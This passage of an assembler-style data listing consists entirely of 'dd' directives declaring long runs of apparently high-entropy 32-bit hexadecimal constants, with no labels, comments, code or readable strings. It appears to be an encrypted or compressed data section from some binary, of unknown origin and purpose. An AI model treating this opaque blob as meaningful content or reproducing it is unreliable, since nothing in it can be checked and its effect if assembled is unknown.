641660E7h, 0E455FC7Ah dd 13AE90AAh, 742F3061h, 43DE9A5Bh, 81EAD5h, 0EE01D3BBh dd 0C8F7063Ah, 3A00752Eh, 0EB096D2Ch, 95EC84E9h, 0D05DF892h dd 0B5D8976Ch, 812D38B5h, 15D80AE3h, 2CC2730h, 0B12DD1Bh dd 8BA009FDh, 0C9DCF416h, 69A9B880h, 0C1030B3Ah, 0BF5705E8h dd 70A3A011h, 0C0894AE9h, 4B40B868h, 7727EB2Fh, 0DDEFA380h dd 460A95Ch, 4F5FEEB2h, 0ADD29F6Ah, 0B22DF68h, 17C7283Bh dd 3B15AFD3h, 2DE85FA6h, 6231C816h, 0CFE776Fh, 0F5966803h dd 9ACBB4EEh, 1E880500h, 0E8293726h, 1B4FB8C7h, 0E7CF024Bh dd 0F8FF4208h, 0B8C0927h, 0BBFE3EA5h, 0E3209E20h, 372D0006h dd 4867FD74h, 0AF09B035h, 0F8898C71h, 20915F0Ch, 5975A7DDh dd 0E4682F09h, 60A0D638h, 0FBFA76F4h, 704B49B0h, 0F1067AF2h dd 50C6860Dh, 0F83178C1h, 0B97E67E9h, 4A4F1DB5h, 77095B93h dd 119590D9h, 22F5286Fh, 0DF3507A1h, 0BF2DBBD5h, 1395180h dd 7A205F8h, 8BCBC055h, 0F23FC0D7h, 63F32B38h, 0A596AAF6h dd 5BFD8800h, 7CED8058h, 8B86EFFh, 0EB285AA5h, 0FE77CDB0h dd 0C2E85EC5h, 6054A446h, 928BDA39h, 3E2D6607h, 94054127h dd 5F6AAD6Ch, 8F688038h, 8D32344Fh, 7D7B77DCh, 802C42A5h dd 8D633E55h, 5B6C900Dh, 0F5A6B8F4h, 4EA2A6AEh, 4B08F0C8h dd 0C7872861h, 6F60DBB0h, 407FF351h, 4867608Ch, 0FEF6D822h dd 5B73B0B0h, 0D2D04Ch, 382C02D7h, 9F4D5EE9h, 572DFE5Bh dd 0F955911Ah, 45754BC5h, 322A0A1Fh, 65FD8B89h, 4D60ABD4h dd 987DD572h, 1A4169D9h, 2595A2DFh, 0C4AED44Fh, 0E1FCAE2Eh dd 2AF198CBh, 4660A8A8h, 0EE685A33h, 0C117AB2Eh, 5DC20769h dd 0B4E0EB51h, 26DCF69Fh, 3CC9B252h, 0BED000CEh, 738F7BE1h dd 9F7BD09Fh, 857E534Ah, 4E359E5h, 56042D48h, 91BCBDE9h dd 543078E3h, 2CDD0048h, 0BB1E7116h, 4079C626h, 62B83112h dd 0F57CEA5Eh, 182362C8h, 58FD5859h, 537BE507h, 0BF3C019Ch dd 7027C023h, 619A4C18h, 9DFEBD05h, 0B1C53191h, 0C03784EAh dd 0D653E5C5h, 1FE90B09h, 40A410D5h, 0F6F490F7h, 177760B9h dd 0AD59C5EFh, 5C014425h, 13E7CA8Dh, 0FCC88902h, 655D7321h dd 75F060E7h, 4E19BF68h, 6D68F04Dh, 0DB0E6612h, 40398FB4h dd 0AA9C887Dh, 28287408h, 8DBA0983h, 6AF5C33Ah, 0BE786164h dd 1BBD6800h, 36B5EEA6h, 45595EA8h, 14F8E05h, 35692975h dd 97E2D873h, 7ADA3418h, 5242818h, 5E93B8Fh, 9B22BB38h dd 4AAE7021h, 991A81EDh, 73C504D4h, 78324283h, 2FF18A09h dd 1D5008h, 2A18CFBDh, 0CD038119h, 6D97C44h, 129A24D1h dd 0E380BB2Fh, 0EECB8143h, 106AD373h, 0CD34CB12h, 0EE46C4EAh dd 27C0CA9h, 0E9D6E22Fh, 0BBEAE5D8h, 41C027DDh, 856603F2h dd 6E828ED3h, 0C562FF56h, 3A16EAC1h, 5CB05692h, 0F7910906h dd 2D8907A0h, 0BD9C6AEAh, 17F39030h, 0CF4912B2h, 0D852EB05h dd 4C0C2116h, 975B3EB9h, 51D2E941h, 75158D0h, 5A673EA2h dd 0A8AD0FC8h, 8777FEB5h, 78E11BA5h, 7E913A2Ah, 2C2E5FFDh dd 7464992Ah, 0F8BB8F5Bh, 520DC92Fh, 0ADC902B9h, 494E3670h dd 0A714C37Dh, 1AA9E1B0h, 8B7650D5h, 82B6138Ch, 19AC55Ah dd 0EC48D452h, 2B047E10h, 6FEC2153h, 0A0B5B9D7h, 0B14081E9h dd 0B52A9E0h, 0A1D42B30h, 8850E751h, 79FE62B1h, 0BDA4EC1h dd 85D55AAFh, 0E7EA32DEh, 662E7BA0h, 5B42AD0Ch, 0CD7C755Eh dd 0A0C8BEC3h, 0F13FB268h, 4A4B8A48h, 0D4CBEC46h, 2C4B9F90h dd 0B17F9EAh, 655403ACh, 96653661h, 1A4C26Eh, 89BA5220h dd 25C1057Fh, 8C73ACE9h, 6C32680Bh, 0FCB1AB62h, 8766174Ah dd 0ED884B5Fh, 0BA11A507h, 0C8913A02h, 5DC2796Fh, 0E870B5DEh dd 73349445h, 2BFECBF1h, 0B046E045h, 60B8B6EBh, 3D69B2B6h dd 48E97751h, 0EB93421Eh, 7BA4C484h, 334D543Fh, 0EA628283h dd 85354F7Dh, 9821C668h, 4F9EFE4Fh, 4089471Fh, 8DC5F17Dh dd 2E66C6B9h, 60476AA4h, 45BEC15Ah, 4F4C9E4Bh, 674002E2h dd 0E2572FA6h, 954258D8h, 8439DB54h, 86E4EDFh, 8411DB9h dd 1DEAF240h, 0D10B0137h, 9BE947E7h, 90A37EB7h, 58D7A589h dd 0C80A89E5h, 57BD0F7Fh, 0FA249E60h, 94C05F4Dh, 21BC12EFh dd 1C3AB6D6h, 665E7240h, 0DE9866E6h, 0DB9D9AB8h, 0F4562F09h dd 0D78BCC09h, 0F8A4631Bh, 7CF71756h, 5B351783h, 0E951A00Dh dd 0F7DDAF2Fh, 0E918503Eh, 0E2873D86h, 0AE06D002h, 0AE6DBF13h dd 0CB60086Dh, 5FDBB5A9h, 0B1955194h, 5802906Fh, 0A5A1DC75h dd 7D691EF4h, 0FBFC2A2Fh, 57B5C998h, 7D163CF6h, 8CAD1155h dd 94A43004h, 7B10B883h, 6E9DD09h, 48875432h, 11EF0CF9h dd 859F5E12h, 0CCBF2E57h dd 0CC09880Ah, 441C1468h, 0F8E6F431h, 0F85A4EF3h, 49E9E8E9h dd 0FD5E3F31h, 5EDB0419h, 0D2847970h, 92C1F2FEh, 2E68E5B4h dd 0C2E7095Ah, 96A257D6h, 0FBF74C73h, 440142CEh, 0F6EA8800h dd 0A960E9D2h, 2E500C0h, 0E9C9F580h, 54BDD105h, 0FF55C461h dd 0B3920DB7h, 0A768C3B7h, 809F2F2Bh, 0E3D858EBh, 6BFFB840h dd 2F974C00h, 5F72E52h, 0E9D987D1h, 4FB7B814h, 365104A3h dd 2D27067Ch, 0F5A591D6h, 7FC0C3EAh, 3F25147Ch, 0D1EAD707h dd 7948015Fh, 1F2ACC12h, 727D9C0Bh, 5963C1BBh, 98D5F7C9h dd 88465208h, 58EE0B7Dh, 91F7C289h, 51DD80D5h, 4EE8D3F9h dd 2EEBA98h, 306012FEh, 5677C721h, 16FFA73Dh, 959AD585h dd 2583E03Ah, 6C5F39B6h, 50F518E9h, 5859CBCCh, 3E5C2C58h dd 0A8849F64h, 0D45B257Fh, 165D6BB9h, 2E75959Ah, 9F0879h dd 579BE381h, 20B8560Bh, 0B3274C01h, 6FBAE91Eh, 7C04B7Bh dd 0D22DF0D3h, 4CBC0914h, 2F583CF8h, 7518E57Eh, 0B30C5208h dd 0B0604F46h, 471633A6h, 0B01E41D5h, 252CE6AFh, 2CF9665Ah dd 0EBBF159Bh, 20A8E4Ch, 7144A7B9h, 825F0948h, 0C010736Bh dd 132E0563h, 0B11A5ADBh, 12116C43h, 0A3EA4C64h, 1B58E8h dd 54BB743Bh, 2E2F3032h, 10D7C331h, 0F7810209h, 75EF6BFAh dd 16F1326Bh, 78376365h, 0EA96B42Dh, 7FD87725h, 5AB57290h dd 8D74BDEAh, 8300574Ah, 0E9152544h, 0E98E546Ah, 0E8025BEEh dd 4BAA100Eh, 1E061465h, 0BC3A04DBh, 7042C032h, 0B608407h dd 0E8785C0Ch, 223B072h, 3995AFA5h, 705EF029h, 904094A0h dd 413D259h, 12A66FCCh, 0F56B21E5h, 214B2E43h, 976D788Ch dd 6708DCC5h, 4BEF20DDh, 4846B8AEh, 76B820F4h, 0EB935F53h dd 0B4ECDD31h, 0E7F40104h, 20394E26h, 100CB200h, 0E4D4983h dd 385013D3h, 0BA0B0933h, 0F41C4F84h, 0D80C7C8h, 1C1DF65Bh dd 2534D9E9h, 0D1D2BA57h, 90B6B003h, 5B515374h, 842A0FDh dd 27DC59B5h, 0A84FED55h, 0C597A40Eh, 0C03CBD50h, 89DFE993h dd 530017D3h, 51496843h, 72595C5Eh, 0F0015FB0h, 128DCCB7h dd 0A3228E68h, 4A27004Ch, 0CE811032h, 6D9CA102h, 87DEEA47h dd 0C6821C1Fh, 0E0665767h, 172A5359h, 7A70C731h, 0C6634EEh dd 0FE2936A9h, 5626CCC6h, 19097532h, 93ECF171h, 15EC2128h dd 10560741h, 602D050Bh, 0C1E038A8h, 7F7923BEh, 0D1BD3889h dd 2CC93A98h, 0A973EC80h, 283C13B8h, 0CBC13AE1h, 59A655B0h dd 680BBFA5h, 0CBE60116h, 0C409F390h, 8E3DB439h, 0E25E09ACh dd 24795D0Dh, 0A40C342h, 2493789h, 0FAD5F731h, 0F6BA2D7Ch dd 53EE0AFEh, 0A28F93AAh, 0BCE0435Bh, 0D21C180Eh, 7C3D0C17h dd 7E790F25h, 0D008A03Ch, 5802140Ch, 28E95251h, 7940E7FEh dd 0BD53FA5Bh, 0DFD41741h, 742DABA5h, 18DE47Bh, 0A90CC89Fh dd 6C222734h, 8A033F4h, 8B57E91Ah, 0EA80DD60h, 18060B0Fh dd 0C7285595h, 655E0CC8h, 87275DCBh, 2F0ADB0Ch, 80F54BBAh dd 997701DDh, 0D0C8BD1Fh, 0E6974758h, 8F1355BFh, 0E49BD76Ah dd 6F0D00EBh, 4C75D517h, 6072A340h, 8A2D08D8h, 881908C0h dd 6194C601h, 5F173C2Eh, 0EB2D0690h, 2823480Bh, 0D193D6Ch dd 2CF21D90h, 133CDF91h, 59E3F89Ah, 95E5538Bh, 5B1AE906h dd 744600A9h, 0B50579C8h, 0A4B41408h, 99061C2Dh, 91E5AD57h dd 20525A89h, 25344A50h, 92A0990Bh, 0EA8653E7h, 1F273420h dd 0FC295B11h, 7D4D1205h, 0E940A38Eh, 0F8A85FE9h, 9568C099h dd 7E4B5E67h, 13B64B5Dh, 9A01F017h, 60FF584Fh, 7A8A0D9Ah dd 0A767058h, 0E63E7B80h, 0F57DC90Bh, 0DAC9F14h, 30D03139h dd 1FE908C2h, 38DD95E7h, 0B254501Dh, 57E78117h, 0BB048139h dd 0AB853386h, 7ED9704Bh, 80D54886h, 2D40CA81h, 86905E45h dd 0C5381819h, 67250348h, 0E1FEC642h, 9DAA2C2h, 8701B805h dd 49119126h, 0E2C520E4h, 56594704h, 810EB29h, 342D664Ch dd 0B5F072E4h, 52BB9C5Bh, 859A163Eh, 3A1C2D52h, 0C7E7CABCh dd 0D0BFD5E9h, 9763F8C5h, 0BD2F137Ah, 3D54C6E4h, 0F69807EFh dd 0FCCDEDF1h, 4E285218h, 167A0354h, 4A895632h, 0AC9D759h dd 0A422ED7Bh, 7D2F3D2Ch, 2A05F441h, 702D18E4h, 7F462785h dd 782DE58h, 0C0D13440h, 5E928491h, 0C280A6EFh, 7655BEE9h dd 2032851Fh, 0ED0DC0D8h, 0FE27730Ch, 0E9ECE08Dh, 0B7A4BA80h dd 57501768h, 5879BF1Ch, 0CF814F80h, 65EE709Ah, 0AE03FA62h dd 26BD32F0h, 15F1C11h, 0EE1959C7h, 4A273857h, 552CFFE8h dd 3C910537h, 36EB1410h, 0E558271Ch, 2E27B5D0h, 0D9D23BCDh dd 0C050E37Ch, 5BF9214Eh, 30CEF401h, 5A80E195h, 6669EA2Ah dd 1ACEA134h, 502BD238h, 66037556h, 0A55F5BBDh, 9678FA8h dd 0DDF7C305h, 52E300FDh, 0C5ACE93Eh, 17310BFh, 9DC90EEh dd 2B414E74h, 6255CE89h, 5E8557E9h, 2ECE90Ah, 66981AC7h dd 94D3D758h, 44B7C025h, 42796031h, 0AE20C01h, 0D1CDCDAh dd 14021C08h, 0E1D15158h, 2F8BB1E9h, 2DD930AAh, 88257610h dd 221FD027h, 86CF8194h, 0E0F19668h, 0CA3E7425h, 85E9090Eh dd 2FEA7147h, 0E94109D9h, 0F92FCFA9h, 565C1624h, 6068DA8Ch dd 96B91ED8h, 60E5292Ch, 702A158h, 46E90CBEh, 0AE907D0Fh dd 5D626E68h, 0BA77159h, 0DB3976F6h, 0E9D39FC3h, 0EA396114h dd 0D6751771h, 5180FA50h, 0B2C9FF1h, 0CD294E9Dh, 15EEF8B8h dd 0A893052Ch, 62F84F3Bh, 0E8C45F8Eh, 0F1248864h, 0DC1A3C28h dd 217CDF80h, 2968CC0Eh, 2CFF65CFh, 7593CBD8h, 5E20601Ah dd 0B767F917h, 6ECC36C1h, 58707B10h, 0EEAFC7D2h, 584192D7h dd 5332A07Dh, 9470F468h, 0BFAC20C8h, 4B004F50h, 6658070Dh dd 3B390503h, 3502D02Fh, 0A1E4EB3Fh, 0F2276764h, 253D4687h dd 0B25DBBC0h, 0D866D533h, 0FAB95100h, 8164D43Ah, 2CC818C9h dd 2EC1E869h, 0D81E3212h, 0ECB204EFh, 0B9DDBEAEh, 0AD5F0629h dd 2FC04BA8h, 0E573456Ah, 0AADC60FEh, 9EC6B54Ah, 4012C74Fh dd 0F6BE5052h, 0D84B92F8h, 0B81503Fh, 0C127F6BDh, 0F2EDBC03h dd 0EFE90D0Ah, 0BA81DA2Fh, 5C8C13CBh, 1D685961h, 4CA9FB1h dd 0D40BFDAFh, 44852F16h, 62AEF005h, 595410B2h, 25AA6C75h dd 57998CA6h, 3A856A8Ah, 80DEF2FFh, 70ED6857h, 2B2C487Bh dd 174E6B10h, 0BFFCE6C0h, 0F0281A09h, 0EF0BFE82h, 8F542966h dd 3B4B6380h, 8C659444h, 8DD23CADh, 0B6AF4269h, 0A70B2EDAh dd 0F7258C48h, 0EC5B240h, 3679F424h, 0F613A025h, 3ECAAE77h dd 5E17291Eh, 307B385Bh, 822F44B0h, 517A114Dh, 9606F3E4h dd 11876230h, 23E130FFh, 667D82E8h, 437225FAh, 0D55B2899h dd 0ECE374CBh, 955F5240h, 0CC0ACB56h, 5316F9F4h, 106D1DC0h dd 0A1444AA6h, 5B070073h, 0C49F6C01h, 0E0E91238h, 827D35DDh dd 590276F8h, 52615687h, 801F45Dh, 0F425CDEBh, 842D1DC1h dd 0BC21892Fh, 0D1430903h, 4A8883E3h, 700B9B02h, 0A50E1D9Ah dd 4E5966Eh, 0C2097740h, 0D1DF5757h, 1EC30103h, 20FEBE1Fh dd 4B955F2Eh, 65C294E7h, 0AA02FF67h, 0BAFD6C4Bh, 0B2610F33h dd 106C79B1h, 58C04220h, 0AAAA35Ah, 89579589h, 68B055DCh dd 5E5F0FE9h, 0A519BED0h, 0BF89EA8Ah, 647688C2h, 368B5659h dd 0C2A7889Ah, 552B51h, 24748AD5h, 0D344FA03h, 0F0631608h dd 0E19FF765h, 2C7E5EDFh, 99DFA75h, 0F26DF51Ch, 0E0E2E986h dd 97F60729h, 0BE7ABA39h, 48EFB072h, 1F720D0Fh, 540028Eh dd 0D4FD618Ch, 0A04A1E78h dd 5397BFC6h, 32620816h, 2E3CBE07h, 8CB82510h, 9F3FF8F5h dd 782BE982h, 0B9EAD103h, 58668734h, 2EC08410h, 0E116ADF6h dd 237F0EFEh, 8263EB64h, 50E561CAh, 6A116804h, 134A0CB2h dd 5A42FB0Ah, 7FA499E9h, 0E2FAFCC6h, 5DD72980h, 2D008F5Ah dd 67C558D9h, 2387135h, 0F70502AFh, 5626DAF6h, 2392CB4h dd 21AA5CDFh, 5430F940h, 0FE7FF925h, 78B58303h, 0C024FA1h dd 3CB82F1Dh, 44034046h, 0C79C08D0h, 0E984F221h, 83BD3FD1h dd 7008C307h, 0DBF722C1h, 72698F61h, 0B76E075Fh, 0E1B5B34Ch dd 0FFEECB0h, 5ECC0C4h, 0FABBDD45h, 6D2E76B7h, 0EEA4A834h dd 0D46C5F88h, 6BD4BE40h, 325E6DADh, 88C266E5h, 0E98993FCh dd 0F71DE2B9h, 6805F5C7h, 0C68D06E7h, 8520E2Bh, 75E93AA2h dd 0AC583B58h, 3EDC2042h, 541ED9BBh, 0A057926Eh, 0B03B502Bh dd 16C03DF8h, 96BD7D25h, 0B49D6916h, 5B1E5556h, 80D247B2h dd 340CA1C6h, 8043BF64h, 0DE5AADCAh, 0A9B81118h, 5103E90Bh dd 0C0F03282h, 24021FE0h, 0A51755DAh, 5A9CBE02h, 615F29ADh dd 0AFF956EFh, 0FA4B8768h, 0A28298D4h, 315F026Bh, 2DED72FDh dd 0DB92E301h, 2F667A7Dh, 2AC8E1C1h, 413D6B39h, 9743AA37h dd 1D2050B8h, 807D9084h, 92B987D9h, 20C4B84Ah, 80176720h dd 42EA38C3h, 151684Fh, 0B132CFAEh, 82296F63h, 701C2720h dd 2D7C9518h, 0DB7C8B59h, 4539CD5Fh, 970BA9C4h, 2CFF09C4h dd 5B4ADDE6h, 2118788Eh, 2E2D752h, 505BD69Fh, 22CEA060h dd 5B9CC55Ah, 0BAD7C6BCh, 37A10F45h, 82828DEEh, 0F979BE06h dd 82B8787Eh, 2AD64407h, 0E84FDEh, 4963018Dh, 0EC1E681h dd 983D7C32h, 0E67709B2h, 71C424C1h, 575E8965h, 0F55BBA7Fh dd 7C028C65h, 89627B23h, 61328EF0h, 1EEB7FCCh, 14A8F1D8h dd 0BF3F5E34h, 0AB5A8212h, 328D95B3h, 98E36EDFh, 0CA517305h dd 6AC1BF6Eh, 0D82A3704h, 7B4CA612h, 0F821A1E8h, 846B48F5h dd 0F167BCA8h, 1620E1F7h, 0F58080CAh, 0EF28B206h, 0B7A85259h dd 36E728E8h, 85BE63DFh, 29C46E44h, 4D12A5E0h, 0A15F2728h dd 2D8CC45h, 0C004632Fh, 4E2A7658h, 2BF9445Fh, 58FB4C97h dd 44FD8249h, 6BB2657Dh, 0D4728353h, 6B58E791h, 0E9134CE8h dd 0BA175226h, 580BE1E3h, 0D1D4B450h, 0EF800A00h, 90FC08B1h dd 0A3C03068h, 2885C32h, 4E8043B7h, 23CBEE65h, 296F506Ah dd 0C050649Dh, 0CB134281h, 0CD80654Fh, 9DBA4A27h, 4B95EA80h dd 18C01A55h, 186614ACh, 2AD86089h, 3D0EFDC2h, 0C4AF464Ah dd 58080929h, 10E23A5Dh, 0D26CE596h, 2563F2BBh, 0A5D9D443h dd 0A325FB54h, 0BA5AB147h, 0F8717D3Dh, 0F6A5F59Fh, 11F173E6h dd 8AA32A7Fh, 2A4C7E10h, 0E8B746BDh, 27E95148h, 0C371276Eh dd 0E93DF469h, 905D504h, 0B1D9775Bh, 0D9BAD7ADh, 7B396758h dd 3A9B500Eh, 1B57802h, 0E868CDE9h, 0F05F54B0h, 0E3254E32h dd 11CB35A1h, 85ADD883h, 86FBB2FEh, 4E2AB42Ch, 8950E247h dd 5F3A623Ah, 0E95873D9h, 0E24F5BEFh, 2A921060h, 0AA43B213h dd 4C31DFF4h, 124EA0DDh, 9F98AE2Eh, 666A9F2Dh, 8E7D8377h dd 0EA284CD5h, 2240FE5Fh, 72840B27h, 52C2C131h, 6F70CB68h dd 4B00D1B6h, 33BA0254h, 6B4A95D9h, 5240F0A0h, 9B07C856h dd 0B2776242h, 0EE57EE35h, 0BC555EE9h, 0C729854Fh, 0D360EF04h dd 0FF92ABA8h, 17619805h, 57D62CFEh, 0E3F7E916h, 0E415C9EBh dd 1EC07798h, 8C06BCBBh, 0EBD11C05h, 0A30892C1h, 0D9290C9Fh dd 51AD7453h, 0A064422Eh, 0B14F0C3Eh, 55A2422Ah, 1C914180h dd 0FAD7F797h, 518FC0CEh, 58095950h, 9A608D68h, 56CA6AC3h dd 0EC9145E4h, 6BBA024Dh, 0F72A7E4Fh, 48F3FBE0h, 0DF485892h dd 423E7BCFh, 994BA899h, 795ACE40h, 0A2E4FF08h, 0BA12D34Ah dd 0DA40D52Eh, 6B324828h, 40B5A20h, 0D5036978h, 270827A8h dd 0E8B8A87Dh, 0CA197427h, 24802D51h, 1931DEBDh, 0A753C83Dh dd 0B9446116h, 29A3496Eh, 0E845BA02h, 0E46179F5h, 55F92ACh dd 20071CF5h, 0B80636D4h, 22661EEEh, 99B52796h, 7E158565h dd 0DC24759Eh, 0FCAF0233h, 0C8982DC7h, 0F8955251h, 0D5E23986h dd 4FEACAA8h, 8A1F8434h, 2DC61219h, 6882BEE9h, 23D47B27h dd 7C481360h, 0CBD8A042h, 0AB5613C3h, 0DF5EEE79h, 39559344h dd 0E2A101EEh, 0F07C036Bh, 0F5123EEEh, 0F4EF6689h, 0B102CD8Eh dd 7CE9EB06h, 0FF9077DCh, 797EB652h, 0FA69AACAh, 30FE2889h dd 0F4F72CE3h, 5AD1EBF0h, 0ACE8C8FDh, 6A2713E9h, 5FB2AAFFh dd 0B05A21D2h, 0A2F90766h, 0D55E3D42h, 3FA61547h, 0BD6D6858h dd 21138E5Bh, 0EEE98245h, 488148F0h, 0A61412CEh, 7806F172h dd 0F646155Fh, 0A92DA1F2h, 25CED6FFh, 0EA500D72h, 2500B498h dd 0F681517Bh, 7E2213A7h, 0E9F21E63h, 0A673A70Ah, 794D8C0Bh dd 65DECE8Fh, 1EA94775h, 0B3C32DE9h, 88B956E3h, 0C2B38016h dd 76AE3F0Bh, 17E29729h, 595D0802h, 0EE4F73E6h, 0C9BE3590h dd 46051409h, 1B05F14Eh, 0FB1E3603h, 0E8C1F480h, 8FA8D007h dd 0C56C6286h, 2EF7893Ch, 2DA6B274h, 2F1188h, 0C680CE86h dd 0A3A3FE7Ch, 325A54BAh, 0B7757402h, 40E38121h, 986CB977h dd 36DC2016h, 4AF55D4Eh, 0F22E9835h, 9EECC5F8h, 0B2BFDD94h dd 2C94974Bh, 3D64C1FBh, 0C781C81Fh, 0C1373209h, 204C5013h dd 40BDDBD2h, 1673ACEDh, 0EC5F20A2h, 4AE982B7h, 0E9187D7Ch dd 0A1BF5CBAh, 6CE66354h, 5F1E0D70h, 0EC09DD3Ah, 0CB9250CCh dd 44F6D75Ah, 13A4FC5Eh, 2DAB6A6Dh, 843A6DBCh, 290B4191h dd 0D64A0FF8h, 4400C9AFh, 0B4AC8404h, 7C97FEB0h, 27144AD8h dd 9887A704h, 0CABF5A9Fh, 13945781h, 0E9053C93h, 0DD11FE6h dd 0A16A67C7h, 12FF7854h, 415444DFh, 75E71E33h, 84EF06D6h dd 0A408102Ch, 0FE16929Eh, 28E5CA61h, 0ECD0DD3Fh, 9AA95A41h dd 0BFD944F7h, 0FA4B9CA2h, 90CAA812h, 9F062125h, 4298133Eh dd 2825BC0Bh, 2FD6783Bh, 90754CB1h, 1F99B229h, 95C4B450h dd 9F49B1B6h, 0F554A19h, 134F3ACAh, 29FB895Eh, 97CC699h dd 671363C3h, 0E2E27175h, 5D09DF1Dh, 4B0B62F8h, 550EF208h dd 4DE585h, 4F111DF6h, 4337E905h, 596B7D65h, 2670A571h dd 98947E20h, 0A78D2FA3h, 0A21511F7h, 5C7227FFh, 0E978C55Eh dd 3D4BB53Fh, 0FEF4A5B3h, 441A6D31h, 0BBC5CF69h, 0A98EC0Ch dd 7FE55EE9h, 0C052B380h, 2C5005EBh, 3585DB0h, 20C58058h dd 0EDABDD83h, 9084E6ADh, 0E8288206h, 0CEF3F659h, 88A073EAh dd 133DFCD6h, 0DD4662EBh, 310B33FBh, 37292AB4h, 74AA2D3Ch dd 96803C4h, 0BA0B36E3h, 0D1815F94h, 6873E94Ah, 92F45AEBh dd 0F97E1FD1h, 30876E38h, 1471BD1Ah, 0F839FE2Eh, 0C465B100h dd 0F0FD294Fh, 0D508A2EDh, 2E5DF7E1h, 697A6F98h, 0D9D5846Eh dd 0CEA44270h, 550094C6h, 8840E1BDh, 90E5C129h, 2F4EB00Bh dd 0ACE6C60h, 0E62587B0h, 42DC5102h, 51FEAEE9h, 641CDF2Fh dd 532FAC20h, 5A171D5Ch, 9E500B57h, 43DC5BA9h, 9A927670h dd 2E666438h, 0AC84D5DEh, 0AEC460DEh, 0B717C84Ah, 303D8A81h dd 0CDFA8EDEh, 4DA7E49Eh, 27DADEAh, 1E8C5223h, 34D0F729h dd 9A98DA84h, 0B471C200h, 0E9F0894Ah, 0ECBF4B54h, 7192B0A3h dd 0E9391BF4h, 6E03FB10h, 3F4BB6EDh, 58DDD261h, 423408A7h dd 80093102h, 56BB5F3Dh, 6B4E9FD9h, 2D5CB620h, 164713E3h dd 0D510AB38h, 16044807h, 45903A17h, 3675B0EEh, 0C8CA76C6h dd 79420882h, 792FC77Eh dd 525862B2h, 0E4CE0F0Bh, 0E61341F1h, 0B786543Fh, 554BE4Ch dd 5453E9CAh, 48D0A6BEh, 182F0113h, 0EFC16392h, 5FD82330h dd 85D8E9BCh, 0A3EFDD01h, 2FFED0C9h, 1EA27D2Eh, 18DF0ECBh dd 824B6068h, 0D88E6B75h, 0BF32A644h, 0F902F78h, 0E9A6DCB5h dd 915352D6h, 9D4979EDh, 6C220BE8h, 19DC9C57h, 552736BCh dd 7F253E47h, 714F90E5h, 0AFCF3734h, 0F4E150BCh, 9C342F18h dd 2D09A0EBh, 0A8C4CB9Dh, 0EDEA3CB8h, 5786727Bh, 3FC4943h dd 9A6D8E0Dh, 0FBE98442h, 0D311B2BBh, 0E9C5ABB6h, 5EA4E84Fh dd 0EAEB39BEh, 0C5D4C5F7h, 0BB3D715Ch, 740DE4C9h, 2620D990h dd 847BE48h, 91739C3h, 0BF1ADA0h, 0E1E4AEFh, 217021D6h dd 0AB5D4BE8h, 5593CBD2h, 70207D5Ah, 5039095h, 307617CEh dd 2079974Dh, 14F6C7DEh, 89089790h, 48771E59h, 1E5D1808h dd 850C3C1Ah, 0B2FE0147h, 18E9405h, 1261E1BBh, 65A0E968h dd 0EDB77E44h, 0C88AE9C2h, 31D5CAE9h, 43417FF7h, 4CF448C4h dd 0F94E5BEh, 2D772941h, 18F15ED9h, 4852CD97h, 17E41FA0h dd 0F97DD413h, 8B084142h, 57547070h, 59E79C18h, 28FB3AE1h dd 0E325E937h, 9173F983h, 5FFA6401h, 0CECA0ABEh, 0C94298D5h dd 56005250h, 0C555C668h, 4815E1Dh, 4660D7CEh, 9A20806Eh dd 1C483440h, 353D020Fh, 7F316393h, 0A400F466h, 5A2BEA67h dd 9748C5E9h, 7CE35F18h, 1CB8080h, 5EB25271h, 0CC07E2C0h dd 0E09008EAh, 71EFF65Eh, 36875ED5h, 6B8D1026h, 0B513583Bh dd 1CD56C2h, 0E3800817h, 860699D4h, 0C3E57B68h, 0E389E9F4h dd 4D84F24h, 2E04842Dh, 6388376h, 7B4180C0h, 131E3B7Dh dd 0F22DC9BCh, 9580E357h, 0ECB75352h, 0FEE0AEB6h, 0C6865B1Fh dd 6608D099h, 0CFC7B07Ah, 84E7E92Ch, 419182AFh, 0C130053Eh dd 2E785EB1h, 0B2BA0434h, 9D04921Eh, 2AB44C3h, 140C52EFh dd 0C5056DC4h, 0E2E8114Eh, 0F3900AD7h, 143D5h, 0AEBE563Eh dd 4E201F22h, 79F6F2A2h, 6431C681h, 0E940584Dh, 9B33FF8h dd 0ECC7E94Bh, 68892771h, 4D4DD5BAh, 61DCE905h, 90BA65F4h dd 0BDA324A2h, 60DE8E7Ch, 0DCBEF13h, 84B08B5Bh, 0BB175F10h dd 45130B16h, 0BE5FC4FBh, 0E909F38Eh, 7429D0D7h, 5580E7D6h dd 310D6E0Eh, 0B23A90D8h, 96C2BFEAh, 9808F0DDh, 543A096Ah dd 0B30F165Eh, 0DB182C62h, 88B392F0h, 61D4F42Fh, 2F52F568h dd 0CA8F5F32h, 30C774ACh, 10408556h, 0F801C016h, 12EAD108h dd 3505B05Eh, 0E5102C6Bh, 0B892A7C0h, 0D1587689h, 7E42AB18h dd 495CE95Ah, 0CB262B8Dh, 5A6D5A9Fh, 284E7525h, 0E7202A41h dd 28B009CBh, 0DD7486Fh, 0C480A448h, 31EA24DAh, 0E92FEF87h dd 591CE13Fh, 2331BB2Eh, 7D28771Ah, 6D7EA5C9h, 5AD12904h dd 4E9E6EB1h, 4984400Ah, 382FE997h, 9F7C7AAh, 5F40DA4Ah dd 0B5FB985Bh, 54968B9Fh, 0EA136E1Fh, 6B4D8391h, 0D101CC2Bh dd 0B801D894h, 65C12497h, 6A05F320h, 2360F9Bh, 69277F78h dd 8A038D6h, 6422F2A1h, 0F6FA4E04h, 0C9010B0Ch, 0E07AA271h dd 0E59350EFh, 563F13A0h, 6BB5C230h, 52849078h, 21196818h dd 82F998C5h, 5AEFDE5Dh, 47E45975h, 0AE6D69E8h, 7127DD0Ch dd 6E3D0DEBh, 2B0C6DEAh, 0A55C4F8h, 593DFF2Fh, 0D829217Ah dd 27590329h, 3F9884A6h, 5B81B24Ch, 0AD7E0CF9h, 9B1E02F1h dd 7F01A58Dh, 520A0D1Ch, 64C76E9h, 696CBB09h, 0D42C3C16h dd 0B6328BDFh, 56E41476h, 0F48B5DEDh, 5C2D5C5Eh, 6703D24Eh dd 2B039DACh, 0B152A4EAh, 93D6DA74h, 0E789DECFh, 0BF17BEECh dd 310EBF18h, 0E06B54BDh, 0DB6328BAh, 0C6E9220Ah, 2D939690h dd 357B66A9h, 0F4820CBh, 0A045133h, 0EEE8AADCh, 30F4BBB1h dd 0AF901AD8h, 2BC405D6h, 5A20C9C9h, 17EE0908h, 82DC29E5h dd 481889E4h, 0DB5B77FEh, 26FA2C83h, 177B290Dh, 6F5DD989h dd 0BE7C4E03h, 748E0549h, 0B818623Bh, 1CB1101Ah, 